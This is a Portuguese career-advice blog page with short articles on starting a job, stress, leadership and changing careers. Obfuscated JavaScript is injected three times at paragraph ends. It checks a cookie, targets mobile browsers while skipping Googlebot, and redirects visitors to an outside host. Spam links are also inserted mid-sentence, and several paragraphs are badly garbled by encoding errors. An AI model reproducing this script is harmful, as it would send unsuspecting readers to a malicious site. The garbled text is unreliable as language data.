Conexão Profissioanal

Entrar em um novo ambiente sempre traz certo estranhamento e demanda tempo para adaptação. Com um novo emprego não é diferente, e o desafio é ainda maior para aqueles que estão começando a carreira. Como diz o ditado popular, a primeira impressão é a que fica, então cuidado com os primeiros dias de trabalho, seja cauteloso com a postura adotada, saiba ouvir e observe a dinâmica da empresa.

O programa de integração adotado por várias corporações pode ajudar neste momento, pois apresenta a estrutura de gestão, as normas, os valores e a missão da empresa. Mas cabe ao novo empregado ou estagiário observar como são os comportamentos (o que não é dito nos manuais) e como as pessoas se relacionam no dia a dia.

Se existir um tutor responsável por apoiar a ambientação, melhor ainda. Caso não, solicitar ajuda aos mais antigos, sair para almocar com os colegas, participar das atividades e estar com os olhos e ouvidos atentos são boas estratégias para entender melhor o ambiente.

O mais importante neste processo é tentar compreender o estilo e como os valores da organização se expressam, identificando as convergências do projeto da empresa com seu planejamento profissional antes de posicionar-se sobre algumas questões. Se perceber que o ambiente é receptivo a sugestões, mesmo dos mais novos, arrisque a dar sua opinião.

Muito tem se falado sobre o uso de ferramentas tecnológicas como facilitadores do dia a dia profissional. De fato, elas ajudam a conseguirmos lidar com as dificuldades de trânsito, de agenda ou até mesmo para resolver pendências da empresa à distância. Recursos como uma vídeo conferência ou aplicativos como o WhatsApp, por exemplo, que facilitam a comunicação diária, podem ser de grande valia.

Entretanto, nada substitui as ferramentas analógicas, termo usado pela psicanalista Viviane Castelo Branco para definir as conversas olho no olho. Atualmente, os jovens profissionais, fascinados pela facilidade das tecnologias, estão esquecendo que se relacionar pessoalmente com os colegas de trabalho é tão fundamental para a formação de relacionamento quanto para sua inserção no ambiente profissional. Além disso, a conversa pessoal evita mal-entendidos e distorções na mensagem passada.

Quem, por exemplo, nunca mudou para melhor a relação com um colega com quem falava apenas por meios virtuais após conhecê-lo pessoalmente? Por isso, é importante valorizar as conversas diretas, estreitar relacionamentos e descobrir que o contato pessoal pode ser muito enriquecedor. Afinal, vínculos são construídos no relacionamento cara a cara.

Escolher uma carreira é algo extremamente difícil. Muitas vezes, o jovem se depara com mais de uma opção e fica em dúvida sobre qual escolher. Depois que a decisão é tomada, chega a hora de enfrentar a concorrência por uma vaga na universidade e quando ela é finalmente conquistada, é só comemorar, certo? Nem sempre. Dados das universidades e de orientadores profissionais revelam que cerca de 30% dos jovens desistem de um curso de graduação logo no início, no primeiro ou no segundo ano.

Os motivos são variados. Uns se desmotivam ao se depararem com uma série de disciplinas que não parecem ter muito a ver com a carreira escolhida; outros acabam se frustrando ao perceberem que o mercado de trabalho da área é seletivo e exigente, ou que o retorno financeiro não é o que imaginavam. Seja qual for a causa da decepção, é muito importante pensar que mudar de curso significa construir outro rumo e dar início a uma nova e longa caminhada.

Não tomar decisões precipitadas é essencial neste momento, pois passado o primeiro ano, o jovem começa a se deparar com disciplinas mais relacionadas com a carreira em si e pode se encantar com a profissão de vez. Se mesmo assim a desmotivação persistir, é hora de buscar, novamente, uma orientação profissional. Vale a pena também conversar com professores e com profissionais das áreas pretendidas para conhecer as perspectivas de atuação futura, evitando surpresas. E se realmente decidir mudar, vá em frente. Sempre é tempo de redirecionar a carreira e buscar algo com o qual se identifica.

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E http://tasevlab.com/?p=75180 http://lane24.no/?p=11037 m pesquisa recente, a Cia de Talentos apontou as 35 melhores empresas para se comeAi??ar a carreira no Brasil. Foram entrevistados mais de oito mil jovens profissionais, com idades entre 18 e 26 anos. Alguns pontos foram destaque na atratividade destas empresas para quem estA? se iniciando no mercado de trabalho.

A forAi??a da marca e orgulho de fazer parte da equipe de uma corporaAi??A?o de destaque sA?o fatores que motivam os profissionais a procurarem estas empresas, assim como o diA?logo aberto entre todos, independente da hierarquia. A possibilidade de colocar sua opiniA?o e ser ouvido sA?o caracterAi??sticas importantes para a identificaAi??A?o do jovem profissional.

A valorizaAi??A?o da diversidade da equipe tambAi??m Ai?? um dos requisitos levados em consideraAi??A?o na hora de montar o ranking das melhores empresas. Aquelas que premiam projetos diferenciados, realizam concursos internos para inovaAi??A?o, desenvolvem programas de estA?gio e trainee estruturados e praticam polAi??ticas de treinamento e desenvolvimento consistentes geralmente tA?m em seus quadros jovens profissionais mais satisfeitos e, consequentemente, mais engajados no trabalho.

Por fim, a transparA?ncia no processo de encarreiramento, quer ele seja mais lento ou mais rA?pido, tambAi??m Ai?? essencial, assim como a flexibilidade de mudanAi??a na carreira dentro da empresa e inserAi??A?o em diferentes projetos. Um fator fundamental para os pesquisados Ai?? a clareza dos gestores na hora de explicitarem os caminhos que os jovens devem percorrer para construAi??rem uma carreira dentro da empresa. De posse dessas informaAi??Ai??es, esses profissionais desenvolvem um compromisso com seu prA?prio desenvolvimento e podem trazer bons resultados para o negA?cio.

Dentre as empresas melhor avaliadas as cinco primeiras colocadas foram: Kimberly-Clark Brasil, 3M, Accenture, AES Sul. As formas de ingresso mais utilizadas para atrair novos profissionais foram os Programas de EstA?gio e Trainee, alAi??m de Programas Jovem Aprendizvar _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Segundo a Belta (Brazilian Educational & Language Travel Association), nos últimos anos foi registrado um aumento de 15% na procura por viagens de intercâmbio, seja para o estudo de uma língua estrangeira ou para realização de estágios ou cursos de especialização. Mas muitos jovens ainda têm dúvidas sobre a importância de trilhar este caminho no processo de desenvolvimento da carreira.

As perguntas principais são: qual a real relevância profissional que um intercâmbio irá trazer para este jovem? E o dinheiro gasto nesta empreitada será recompensado? Não seria melhor investir em outros cursos no meu país?

Vale lembrar é que toda experiência é enriquecedora e que estudar fora não é a única forma de se desenvolver e se destacar no mercado de trabalho. Há várias maneiras de se construir uma carreira e pensar a estratégia para cada tipo de profissão é fundamental.

Uma maneira de se qualificar sem precisar sair do país é buscar experiências de estágio em campos de atuação variados, para ter uma visão mais completa sobre a profissão escolhida. Outra é, dentro da empresa onde está estagiando, passar por diversas áreas ou engajar-se em projetos distintos.

Mas se a experiência no exterior é relevante para seu enriquecimento profissional e pessoal, há várias formas de atingir esse objetivo. Na busca pelo seu emprego, é interessante pesquisar empresas que invistam em programas de capacitação para seus profissionais que incluam estudo de línguas e até intercâmbios. Essa é uma prática comum em empresas multinacionais ou que precisam de profissionais com qualificação diferenciada. Essa pode ser uma forma de se conseguir a experiência internacional atrelada a um projeto profissional, o que pode enriquecer a carreira e dar foco. Mas, ainda assim, é importante lembrar sempre que sua carreira é construída por você.

Atualmente, A� impossA�vel passar um dia sem ouvir alguA�m nos falar que estA? muito estressado. O estresse A� um problema mundial e que vem atingindo toda a populaA�A?o, inclusive os jovens profissionais, que se veem assumindo responsabilidades cada vez mais cedo. Mas o que A� estresse e como lidar com ele?
A palavra “estresse” (stress, em inglA?s) significa “estar sob pressA?o” ou “estar sob a aA�A?o de estA�mulo persistente”. A correria do dia a dia e a busca pelo crescimento profissional sA?o fatores de estresse entre aqueles que estA?o comeA�ando a carreira. A� importante, entretanto, entender que a vida A� corrida para todos e buscar crescimento tambA�m A� responsabilidade de cada um. Mas A� fundamental nA?o se deixar contagiar pela ansiedade dos outros para ajudar a manter o equilA�brio.

Destacamos algumas dicas para se lidar com a vida atribulada e as demandas cotidianas:

a�? Cuidar de cada tarefa conforme ela chega e tratar das questA�es estabelecendo prioridades A� muito importante, assim como dividir bem o dia de trabalho.
a�? Pedir ajuda aos colegas quando precisar ou buscar dicas com os mais experientes nA?o A� sinA?nimo de incompetA?ncia, e sim mostram a capacidade de se relacionar e o desejo de aprender.
a�? Saber negociar prazos e perder o medo de dizer nA?o, quando perceber que A� impossA�vel atender uma demanda, tambA�m fazem parte do amadurecimento profissional.
a�? AlA�m disso, tirar um perA�odo de descanso e equilibrar as atividades do trabalho com os estudos e a vida pessoal A� fundamental.
a�? Praticar atividades fA�sicas ou separar uma hora do dia para fazer uma atividade relaxante, como ouvir mA?sica ou ler um livro pode ajudar a nA?o sobrecarregar a si mesmo.
a�? E, por fim, durma o suficiente. A falta de descanso sA? agrava o estresse..

Lembre-se que hA? vA?rias alternativas para lidar com o estresse e cabe a cada pessoa elaborar a sua estratA�gia na busca por uma vida produtiva e saudA?vel.
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Todos os profissionais, em algum momento da vida, vão ter que trabalhar ou lidar no dia a dia com pessoas com as quais não têm a menor identificação. Pode ser um colega de departamento, um subordinado, um chefe ou até mesmo um parente. E quando essa pessoa é um “chato”, inconveniente e sempre com piadas fora de contexto, a situação se complica ainda mais.

Nesse caso, o ideal é usar o senso crítico e pensar: como posso conviver melhor com um chato? A primeira alternativa é manter o bom humor e não perder a cabeça. Se uma brincadeira passa dos limites, pode-se conversar em particular com a pessoa, dizendo de maneira educada o que não agradou. Numa conversa calma, fora do calor da discussão, certamente o resultado será positivo.

A ajuda dos colegas de trabalho como mediadores também pode ajudar. Se o caso chegar a uma situação extrema, onde as duas partes não se entendam de forma alguma, vale pedir ajudar ao próprio gestor. Muito embora a situação seja delicada, uma conversa geralmente, render bons frutos e pode transformar o chato em um amigo.

Os jovens profissionais estA?o, cada vez mais, assumindo vagas de gerA?ncia que antes eram reservados apenas para empregado mais experientes. Atualmente, estima-se que, no Brasil, 20% dos cargos de gestA?o em companhias de grande porte jA? sA?o ocupados pela chamada geraAi??A?o Y, formada na era da internet.

Entretanto, antes de aceitar um convite para um cargo de lideranAi??a, o jovem deve considerar algumas caracterAi??sticas prA?prias e tambAi??m da A?rea. Refletir se tem o perfil necessA?rio para assumir a funAi??A?o Ai?? essencial, pois junto com a melhoria salarial e o status, vA?m tambAi??m as responsabilidades. Entender a complexidade da funAi??A?o e seus riscos Ai?? primordial, assim como avaliar as competA?ncias que tem e quais as que ainda precisa desenvolver. A habilidade em lidar com pessoas, articular-se, mediar conflitos sA?o fundamentais para que assume uma posiAi??A?o na gestA?o. HA? de se lembrar tambAi??m que o gestor nA?o precisa ser o melhor tAi??cnico na A?rea. Para isso, ele tem profissionais especializados em sua equipe.

Ao assumir o cargo, o jovem lAi??der deve, tambAi??m, montar um projeto no qual estejam explicitados o desafio inicial e os resultados esperados a curto e longo prazo. Esse planejamento deve ser validado com o seu gerente ou diretor imediato, para que se possa estabelecer com clareza os objetivos profissionais e alinhar as expectativas da organizaAi??A?o com a capacidade de realizaAi??A?o no prazo estimado. Desta forma, fica mais fA?cil realizar uma autoavaliaAi??A?o e identificar pontos fortes e fracos. Por fim, investir em capacitaAi??Ai??es, lembrando sempre que cada novo desafio exige novas aprendizagens.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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Ter um bom gestor é, hoje, fator decisivo na competitividade das organizações. Mas, quais são as características que formam um verdadeiro líder? Apesar da bagagem de conhecimento técnico ser importante em alguns segmentos na hora de gerenciar uma equipe, o sucesso da liderança está ligado a outros fatores.

Um estudo da Universidade de Harvard e do MIT com executivos americanos mostrou que os líderes estão mais preocupados em desenvolver outras habilidades, e que o foco no conhecimento técnico é uma pequena parte desse processo. Muito embora valorizem a educação formal e o conhecimento, entendem que saber empreender é fundamental para a liderança.

Saber manter um bom relacionamento interpessoal deve ser uma das principais características de um bom gestor, assim como a capacidade de trabalhar em equipe e saber delegar funções. O líder deve ter também iniciativa, pró-atividade e estar sempre atento às inovações e mudanças do mundo, e de que forma elas podem influenciar nas atividades da empresa.

Utilizar da educação, respeito, ética, empatia e transparência deve ser inerente a qualquer profissional, mas é ainda mais importante para a figura de um líder, que precisa estar sempre estimulando o crescimento de seus liderados para, assim, desenvolver uma equipe de alta performance.

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Uma situaAi??A?o que jA? deve ter acontecido com muita gente Ai?? ser convidado para um trabalho tA?o sonhado em um momento nA?o oportuno. Ai??s vezes o candidato acaba de ser contratado e aquele convite para um cargo em uma empresa referA?ncia na profissA?o, ou atAi?? mesmo uma a possibilidade de estudar no exterior com a gratuidade de uma bolsa de estudos, surge e coloca o individuo em meio a uma encruzilhada. O que fazer?

A primeira coisa que a pessoa deve se preocupar Ai?? como vai comunicar a decisA?o, sem se prejudicar nem deixar a empresa na mA?o. Nada de se queimar com pequenos deslizes, como apenas avisar na vAi??spera ou simplesmente dizer um ai???tchauai??? sem justificativas e, sobretudo, sem postura profissional. Tem que haver um tempo para que a empresa possa se preparar e tambAi??m selecionar e treinar a pessoa que ocuparA? a vaga deixada. Negocie prazos e se disponha a treinar alguAi??m para ocupar sua posiAi??A?o.

E esse cuidado tambAi??m deve ser estendido se a pessoa ainda estiver participando de um processo seletivo. Ai?? aconselhA?vel jA? comunicar ao recrutador no momento da seleAi??A?o, claro, informando que estA? participando de outro processo, ou aguardando retorno de uma seleAi??A?o.

Enfim, qualquer que seja a situaAi??A?o, deve-se manter o profissionalismo: comunicar qualquer decisA?o Ai??s claras, com sinceridade. Estar Ai?? disposiAi??A?o para participar da transiAi??A?o tambAi??m Ai?? positivo para a imagem pessoal. Afinal, deixar as portas abertas Ai?? fundamental para todos os profissionais.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge 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